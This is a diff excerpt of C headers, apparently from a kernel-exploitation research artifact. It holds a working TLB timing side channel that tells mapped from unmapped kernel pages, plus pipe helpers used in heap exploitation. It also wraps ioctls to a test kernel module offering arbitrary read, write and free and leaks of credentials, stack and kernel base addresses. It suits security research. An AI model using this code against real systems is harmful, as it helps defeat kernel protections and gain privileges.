#define _PAGE_SOFTW3 (1ULL << _PAGE_BIT_SOFTW3)
|
||||
#define _PAGE_PAT (1ULL << _PAGE_BIT_PAT)
|
||||
#define _PAGE_PAT_LARGE (1ULL << _PAGE_BIT_PAT_LARGE)
|
||||
#define _PAGE_SPECIAL (1ULL << _PAGE_BIT_SPECIAL)
|
||||
#define _PAGE_CPA_TEST (1ULL << _PAGE_BIT_CPA_TEST)
|
||||
#define _PAGE_PKEY_BIT0 (1ULL << _PAGE_BIT_PKEY_BIT0)
|
||||
#define _PAGE_PKEY_BIT1 (1ULL << _PAGE_BIT_PKEY_BIT1)
|
||||
#define _PAGE_PKEY_BIT2 (1ULL << _PAGE_BIT_PKEY_BIT2)
|
||||
#define _PAGE_PKEY_BIT3 (1ULL << _PAGE_BIT_PKEY_BIT3)
|
||||
#define _PAGE_NX (1ULL << _PAGE_BIT_NX)
|
||||
|
||||
#define __PP _PAGE_PRESENT
|
||||
#define __RW _PAGE_RW
|
||||
#define _USR _PAGE_USER
|
||||
#define ___A _PAGE_ACCESSED
|
||||
#define ___D _PAGE_DIRTY
|
||||
#define ___G _PAGE_GLOBAL
|
||||
#define __NX _PAGE_NX
|
||||
|
||||
#define _PAGE_TABLE (__PP|__RW|_USR|___A| 0|___D| 0| 0| 0)
|
||||
|
||||
#define PAGE_TABLE_LARGE (_PAGE_TABLE | _PAGE_PSE)
|
||||
#define PTE (__PP|__RW|_USR|___A| 0|___D| 0| 0|__NX)
|
56
artifacts/include/pipe_buffer.h
Normal file
56
artifacts/include/pipe_buffer.h
Normal file
|
@ -0,0 +1,56 @@
|
|||
#pragma once
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
void alloc_pipes(int *pipefd, int flags)
|
||||
{
|
||||
int ret = pipe2(pipefd, flags);
|
||||
if (ret < 0) {
|
||||
perror("pipe2");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_pipe(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = write(fd, buf, sz);
|
||||
if (ret < 0) {
|
||||
perror("write(pipes)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void resize_pipe(int fd, size_t nr_slots)
|
||||
{
|
||||
int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12);
|
||||
if (ret < 0) {
|
||||
perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int write_pipe_no_err(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = write(fd, buf, sz);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void read_pipe(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = read(fd, buf, sz);
|
||||
if (ret < 0) {
|
||||
perror("read(pipes)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int read_pipe_no_err(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = read(fd, buf, sz);
|
||||
return ret;
|
||||
}
|
331
artifacts/include/tlb_flush.h
Normal file
331
artifacts/include/tlb_flush.h
Normal file
|
@ -0,0 +1,331 @@
|
|||
#ifndef TLB_FLUSH_H
|
||||
#define TLB_FLUSH_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
#include "cacheutils.h"
|
||||
|
||||
#define INTEL_12TH_GEN
|
||||
/**
|
||||
* todo set this THRESHOLD depending on your system
|
||||
*/
|
||||
#if defined(INTEL_12TH_GEN)
|
||||
unsigned THRESHOLD = 31;
|
||||
unsigned THRESHOLD2 = 33;
|
||||
#elif defined(INTEL_13TH_GEN)
|
||||
unsigned THRESHOLD = 29;
|
||||
unsigned THRESHOLD2 = 32;
|
||||
#elif defined(INTEL_8TH_GEN)
|
||||
unsigned THRESHOLD = 26;
|
||||
unsigned THRESHOLD2 = 40;
|
||||
#endif
|
||||
|
||||
#define PAGESIZE_4K 12
|
||||
#define PAGESIZE_2M 21
|
||||
|
||||
#define HUGEPAGES 128
|
||||
|
||||
/**
|
||||
* TLB settings
|
||||
*/
|
||||
#define STLB_HASHSIZE_4K 8
|
||||
#define STLB_HASHSIZE_2M 8
|
||||
#define DTLB_HASHSIZE_4K 4
|
||||
#define DTLB_HASHSIZE_2M 3
|
||||
#define STLB_WAYS_4K 12
|
||||
#define STLB_WAYS_2M 8
|
||||
#define DTLB_WAYS_4K 6
|
||||
#define DTLB_WAYS_2M 4
|
||||
#define STLB_HASHMASK_4K ((1 << STLB_HASHSIZE_4K) - 1)
|
||||
#define STLB_HASHMASK_2M ((1 << STLB_HASHSIZE_2M) - 1)
|
||||
#define DTLB_HASHMASK_4K ((1 << DTLB_HASHSIZE_4K) - 1)
|
||||
#define DTLB_HASHMASK_2M ((1 << DTLB_HASHSIZE_2M) - 1)
|
||||
#define STLB_SET_4K(addr) (((addr >> PAGESIZE_4K) ^ (addr >> (PAGESIZE_4K + STLB_HASHSIZE_4K))) & STLB_HASHMASK_4K)
|
||||
#define STLB_SET_2M(addr) (((addr >> PAGESIZE_2M)) & STLB_HASHMASK_2M)
|
||||
#define DTLB_SET_4K(addr) ((addr >> PAGESIZE_4K) & DTLB_HASHMASK_4K)
|
||||
#define DTLB_SET_2M(addr) ((addr >> PAGESIZE_2M) & DTLB_HASHMASK_2M)
|
||||
|
||||
#define FLUSH_SET_SIZE ((1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) * 2 // 12bit page size + enough space for 14 bit xor
|
||||
#define TLB_EVICTION_SIZE (1UL << (PAGESIZE_4K + 12)) // 12bit page size 4096 times to cover up to 3072 TLB entries
|
||||
|
||||
#define TIMER(x) rdtsc_##x
|
||||
|
||||
#define FLUSH_TLB_ALL flush_tlb_4k
|
||||
#define FLUSH_TLB_T_4K flush_tlb_targeted_4k
|
||||
#define FLUSH_TLB_T_2M flush_tlb_targeted_2M
|
||||
|
||||
#define TIMER_START TIMER(begin)
|
||||
#define TIMER_END TIMER(end)
|
||||
#define FLUSH_TLB_4K FLUSH_TLB_T_4K
|
||||
#define FLUSH_TLB_2M FLUSH_TLB_T_2M
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PAGE_4K,
|
||||
PAGE_2M
|
||||
} PageType;
|
||||
|
||||
uint8_t *flush_set;
|
||||
uint8_t *flush_set_2M;
|
||||
|
||||
void init_tlb_flush(void)
|
||||
{
|
||||
flush_set = mmap(0, FLUSH_SET_SIZE, PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (flush_set == MAP_FAILED) {
|
||||
perror("mmap(flush_set)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
if (posix_memalign((void **)&flush_set_2M, 1 << PAGESIZE_2M, (HUGEPAGES + 1) << PAGESIZE_2M) != 0) {
|
||||
perror("mmap(flush_set_2M)");
|
||||
exit(-1);
|
||||
}
|
||||
madvise(flush_set_2M, (HUGEPAGES + 1) << PAGESIZE_2M, MADV_HUGEPAGE);
|
||||
|
||||
for (unsigned i = 0; i < HUGEPAGES + 1; i++) {
|
||||
flush_set_2M[i << PAGESIZE_2M] = 1;
|
||||
// check the page is indeed huge
|
||||
// check_huge_page(buf);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Flush 4k TLBs with up to 4k entries, doesn't flush L1 DTLB for 2M
|
||||
*/
|
||||
void flush_tlb_4k(__attribute__((unused)) size_t addr)
|
||||
{
|
||||
for (size_t _i = 0; _i < TLB_EVICTION_SIZE; _i += (1 << 12))
|
||||
*(volatile char *)(flush_set + _i);
|
||||
}
|
||||
|
||||
void flush_tlb_targeted_4k(size_t addr)
|
||||
{
|
||||
size_t stlb_set = STLB_SET_4K(addr);
|
||||
size_t dtlb_set = DTLB_SET_4K(addr);
|
||||
size_t flush_base = (size_t)flush_set;
|
||||
flush_base = (((flush_base >> (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)) + (1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2));
|
||||
|
||||
// dtlb
|
||||
for (size_t i = 0; i < DTLB_WAYS_4K * 2; i++) {
|
||||
size_t evict_addr = (flush_base + (dtlb_set << PAGESIZE_4K)) ^ (i << (PAGESIZE_4K + DTLB_HASHSIZE_4K));
|
||||
// printf("base: %p, evict_addr: %lx, dset: %d, target dset: %d\n", flush_base, evict_addr, DTLB_SET_4K(evict_addr), DTLB_SET_4K(addr));
|
||||
maccess((void *)evict_addr);
|
||||
}
|
||||
|
||||
// stlb
|
||||
for (size_t i = 0; i < STLB_WAYS_4K * 2; i++) {
|
||||
size_t evict_addr = (flush_base + (stlb_set << PAGESIZE_4K)) ^ (((i << STLB_HASHSIZE_4K) + i) << PAGESIZE_4K);
|
||||
// printf("base: %p, evict_addr: %lx, set: %d, target set: %d\n", flush_base, evict_addr, STLB_SET_4K(evict_addr), STLB_SET_4K(addr));
|
||||
maccess((void *)evict_addr);
|
||||
}
|
||||
}
|
||||
|
||||
void flush_tlb_targeted_2M(size_t addr)
|
||||
{
|
||||
size_t stlb_set = STLB_SET_2M(addr);
|
||||
// size_t dtlb_set = DTLB_SET_2M(addr);
|
||||
size_t flush_base = (size_t)flush_set;
|
||||
flush_base = (((flush_base >> (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)) + (1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2));
|
||||
|
||||
// dtlb
|
||||
for (size_t i = 0; i < HUGEPAGES; i++)
|
||||
maccess((void *)(flush_set_2M + (i << PAGESIZE_2M)));
|
||||
|
||||
// stlb
|
||||
for (size_t i = 0; i < STLB_WAYS_4K * 2; i++) {
|
||||
size_t evict_addr = (flush_base + (stlb_set << PAGESIZE_4K)) ^ (((i << STLB_HASHSIZE_4K) + i) << PAGESIZE_4K);
|
||||
// printf("base: %p, evict_addr: %lx, set: %d, target set: %d\n", flush_base, evict_addr, STLB_SET_4K(evict_addr), STLB_SET_4K(addr));
|
||||
maccess((void *)evict_addr);
|
||||
}
|
||||
}
|
||||
|
||||
void flush_tlb_targeted(size_t addr, PageType type)
|
||||
{
|
||||
if (type == PAGE_4K)
|
||||
flush_tlb_targeted_4k(addr);
|
||||
else
|
||||
flush_tlb_targeted_2M(addr);
|
||||
}
|
||||
|
||||
/**
|
||||
* Timed access
|
||||
*/
|
||||
size_t __attribute__((noinline, aligned(4096))) onlyreload(size_t addr)
|
||||
{
|
||||
size_t t = TIMER_START();
|
||||
prefetch2((void *)addr);
|
||||
// prefetcht0((void*)addr);
|
||||
// prefetcht1((void*)addr);
|
||||
// prefetcht2((void*)addr);
|
||||
// prefetchnta((void*)addr);
|
||||
return TIMER_END() - t;
|
||||
}
|
||||
|
||||
size_t __attribute__((noinline, aligned(4096))) flushreload(size_t addr)
|
||||
{
|
||||
FLUSH_TLB_4K(addr);
|
||||
size_t t = TIMER_START();
|
||||
asm volatile("" ::: "memory");
|
||||
// prefetcht0((void*)addr);
|
||||
// prefetcht1((void*)addr);
|
||||
// prefetcht2((void*)addr);
|
||||
// prefetchnta((void*)addr);
|
||||
prefetch2((void *)addr);
|
||||
asm volatile("" ::: "memory");
|
||||
return TIMER_END() - t;
|
||||
}
|
||||
|
||||
size_t __attribute__((noinline, aligned(4096))) flushsysreload(size_t addr)
|
||||
{
|
||||
FLUSH_TLB_4K(addr);
|
||||
syscall(-1);
|
||||
size_t t = TIMER_START();
|
||||
asm volatile("" ::: "memory");
|
||||
// prefetcht0((void*)addr);
|
||||
// prefetcht1((void*)addr);
|
||||
// prefetcht2((void*)addr);
|
||||
// prefetchnta((void*)addr);
|
||||
prefetch2((void *)addr);
|
||||
asm volatile("" ::: "memory");
|
||||
return TIMER_END() - t;
|
||||
}
|
||||
|
||||
#define HIST_SIZE_THRESHOLD 100
|
||||
|
||||
typedef struct DualThreshold_
|
||||
{
|
||||
unsigned lower;
|
||||
unsigned upper;
|
||||
} DualThreshold;
|
||||
|
||||
/**
|
||||
* Autodetect a good threshold to distinguish mapped from unmapped pages
|
||||
* best used via detect_threshold
|
||||
*/
|
||||
DualThreshold __attribute__((noinline, aligned(4096))) detect_threshold_single(size_t addr_mapped, size_t addr_unmapped)
|
||||
{
|
||||
const unsigned reps = 10000;
|
||||
size_t time_m;
|
||||
size_t time_um;
|
||||
size_t hist_m[HIST_SIZE_THRESHOLD] = {0};
|
||||
size_t hist_um[HIST_SIZE_THRESHOLD] = {0};
|
||||
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < reps; ++i) {
|
||||
prefetch2((void *)addr_mapped);
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
time_m = onlyreload(addr_mapped);
|
||||
time_um = onlyreload(addr_unmapped);
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
hist_m[MIN(HIST_SIZE_THRESHOLD - 2, time_m)]++;
|
||||
hist_um[MIN(HIST_SIZE_THRESHOLD - 2, time_um)]++;
|
||||
}
|
||||
|
||||
size_t sum[2] = {0};
|
||||
unsigned max = 0;
|
||||
unsigned threshold_i = 0;
|
||||
unsigned limit1 = 0;
|
||||
unsigned limit2 = 0;
|
||||
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
|
||||
sum[0] += hist_m[i];
|
||||
sum[1] += hist_um[i];
|
||||
if ((sum[0] - sum[1]) > max)
|
||||
max = (sum[0] - sum[1]);
|
||||
}
|
||||
sum[0] = 0;
|
||||
sum[1] = 0;
|
||||
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
|
||||
sum[0] += hist_m[i];
|
||||
sum[1] += hist_um[i];
|
||||
if (!limit1 && (sum[0] - sum[1]) >= 0.97 * max)
|
||||
limit1 = i;
|
||||
if (limit1 && !limit2 && (sum[0] - sum[1]) <= 0.97 * max) {
|
||||
limit2 = i;
|
||||
threshold_i = (limit1 + limit2) / 2;
|
||||
threshold_i += threshold_i % 2;
|
||||
}
|
||||
}
|
||||
DualThreshold t = {limit1, limit2};
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
/**
|
||||
* Autodetect a good threshold to distinguish mapped from unmapped pages
|
||||
* thresholds are inclusive, i.e use as <= Lower, >= Upper
|
||||
*/
|
||||
DualThreshold detect_threshold(size_t addr_mapped, size_t addr_unmapped, const unsigned reps)
|
||||
{
|
||||
size_t threshold_hist_lower[HIST_SIZE_THRESHOLD] = {0};
|
||||
size_t threshold_hist_upper[HIST_SIZE_THRESHOLD] = {0};
|
||||
// printf("Detecting mapped/unmapped threshold..\n");
|
||||
|
||||
// warmup
|
||||
for (unsigned i = 0; i < 20; i++)
|
||||
detect_threshold_single(addr_mapped, addr_unmapped);
|
||||
|
||||
for (unsigned i = 0; i < reps; i++) {
|
||||
DualThreshold t = detect_threshold_single(addr_mapped, addr_unmapped);
|
||||
threshold_hist_lower[t.lower]++;
|
||||
threshold_hist_upper[t.upper]++;
|
||||
}
|
||||
|
||||
unsigned threshold_l = 0;
|
||||
unsigned threshold_l_i = 0;
|
||||
unsigned threshold_u = 0;
|
||||
unsigned threshold_u_i = 0;
|
||||
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
|
||||
if (threshold_hist_lower[i] > threshold_l) {
|
||||
threshold_l = threshold_hist_lower[i];
|
||||
threshold_l_i = i;
|
||||
}
|
||||
if (threshold_hist_upper[i] > threshold_u) {
|
||||
threshold_u = threshold_hist_upper[i];
|
||||
threshold_u_i = i;
|
||||
}
|
||||
}
|
||||
|
||||
DualThreshold t = {threshold_l_i, threshold_u_i};
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
int comp(const void *e1, const void *e2)
|
||||
{
|
||||
return *(size_t *)e1 > *(size_t *)e2;
|
||||
}
|
||||
|
||||
size_t hit(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
/* leaking */
|
||||
prefetch2((void *)addr);
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
time = onlyreload(addr);
|
||||
if (time <= THRESHOLD)
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
size_t hit_accurate(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t times[tries];
|
||||
/* leaking */
|
||||
prefetch2((void *)addr);
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
time = onlyreload(addr);
|
||||
times[i] = time;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
time = times[tries / 4];
|
||||
return time <= THRESHOLD;
|
||||
}
|
||||
|
||||
#endif
|
485
artifacts/include/ulkm.h
Normal file
485
artifacts/include/ulkm.h
Normal file
|
@ -0,0 +1,485 @@
|
|||
#pragma once
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/ioctl.h>
|
||||
|
||||
#include "lkm.h"
|
||||
|
||||
static int lkm_fd = -1;
|
||||
void lkm_init(void)
|
||||
{
|
||||
lkm_fd = open("/dev/lkm", O_RDWR);
|
||||
if (lkm_fd < 0) {
|
||||
perror("open(/dev/lkm)");
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_read(size_t kaddr, size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.rd = {
|
||||
.kaddr = kaddr,
|
||||
.uaddr = uaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_READ, (size_t)&msg);
|
||||
}
|
||||
void lkm_read(size_t kaddr, size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_read(kaddr, uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_write(size_t kaddr, size_t value)
|
||||
{
|
||||
msg_t msg = {
|
||||
.wr = {
|
||||
.kaddr = kaddr,
|
||||
.value = value,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_WRITE, (size_t)&msg);
|
||||
}
|
||||
void lkm_write(size_t kaddr, size_t value)
|
||||
{
|
||||
int ret = __lkm_write(kaddr, value);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_access_primitive(size_t addr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.ap = {
|
||||
.addr = addr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_ACCESS_PRIMITIVE, (size_t)&msg);
|
||||
}
|
||||
void lkm_access_primitive(size_t addr)
|
||||
{
|
||||
int ret = __lkm_access_primitive(addr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_dpm_test(void)
|
||||
{
|
||||
msg_t msg;
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_DPM_TEST, (size_t)&msg);
|
||||
}
|
||||
void lkm_dpm_test(void)
|
||||
{
|
||||
int ret = __lkm_dpm_test();
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_bpf_dpm_split(size_t size)
|
||||
{
|
||||
msg_t msg = {
|
||||
.dpms = {
|
||||
.size = size
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_BPF_DPM_SPLIT, (size_t)&msg);
|
||||
}
|
||||
void lkm_bpf_dpm_split(size_t size)
|
||||
{
|
||||
int ret = __lkm_bpf_dpm_split(size);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_msg_msg_leak(size_t uaddr, size_t msqid, size_t mtype)
|
||||
{
|
||||
msg_t msg = {
|
||||
.mrd = {
|
||||
.uaddr = uaddr,
|
||||
.msqid = msqid,
|
||||
.mtype = mtype,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_MSG_MSG_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_msg_msg_leak(size_t uaddr, size_t msqid, size_t mtype)
|
||||
{
|
||||
int ret = __lkm_msg_msg_leak(uaddr, msqid, mtype);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_seq_file_leak(size_t uaddr, size_t fd)
|
||||
{
|
||||
msg_t msg = {
|
||||
.frd = {
|
||||
.uaddr = uaddr,
|
||||
.fd = fd,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_SEQ_FILE_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_seq_file_leak(size_t uaddr, size_t fd)
|
||||
{
|
||||
int ret = __lkm_seq_file_leak(uaddr, fd);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_file_leak(size_t uaddr, size_t fd)
|
||||
{
|
||||
msg_t msg = {
|
||||
.frd = {
|
||||
.uaddr = uaddr,
|
||||
.fd = fd,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_FILE_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_file_leak(size_t uaddr, size_t fd)
|
||||
{
|
||||
int ret = __lkm_file_leak(uaddr, fd);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_pipe_buffer_leak(size_t uaddr, size_t fd, size_t rdend)
|
||||
{
|
||||
msg_t msg = {
|
||||
.pbrd = {
|
||||
.uaddr = uaddr,
|
||||
.fd = fd,
|
||||
.rdend = rdend,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_PIPE_BUFFER_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_pipe_buffer_leak(size_t uaddr, size_t fd, size_t rdend)
|
||||
{
|
||||
int ret = __lkm_pipe_buffer_leak(uaddr, fd, rdend);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_cred_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_CRED_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_cred_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_cred_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_dpm_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_DPM_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_dpm_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_dpm_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_virt_base_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_VIRTUAL_BASE_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_virt_base_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_virt_base_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_stack_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_STACK_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_stack_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_stack_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_code_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_CODE_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_code_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_code_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_vmemmap_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_VMEMMAP_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_vmemmap_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_vmemmap_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_vmalloc_base_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_VMALLOC_BASE_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_vmalloc_base_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_vmalloc_base_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_alloc(size_t id, size_t size)
|
||||
{
|
||||
msg_t msg = {
|
||||
.al = {
|
||||
.id = id,
|
||||
.size = size,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_ALLOC, (size_t)&msg);
|
||||
}
|
||||
void lkm_alloc(size_t id, size_t size)
|
||||
{
|
||||
int ret = __lkm_alloc(id, size);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_free(size_t id)
|
||||
{
|
||||
msg_t msg = {
|
||||
.fr = {
|
||||
.id = id,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_FREE, (size_t)&msg);
|
||||
}
|
||||
void lkm_free(size_t id)
|
||||
{
|
||||
int ret = __lkm_free(id);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_arb_free(size_t kaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.af = {
|
||||
.kaddr = kaddr,
|
||||
}
|
||||
};
|
||||
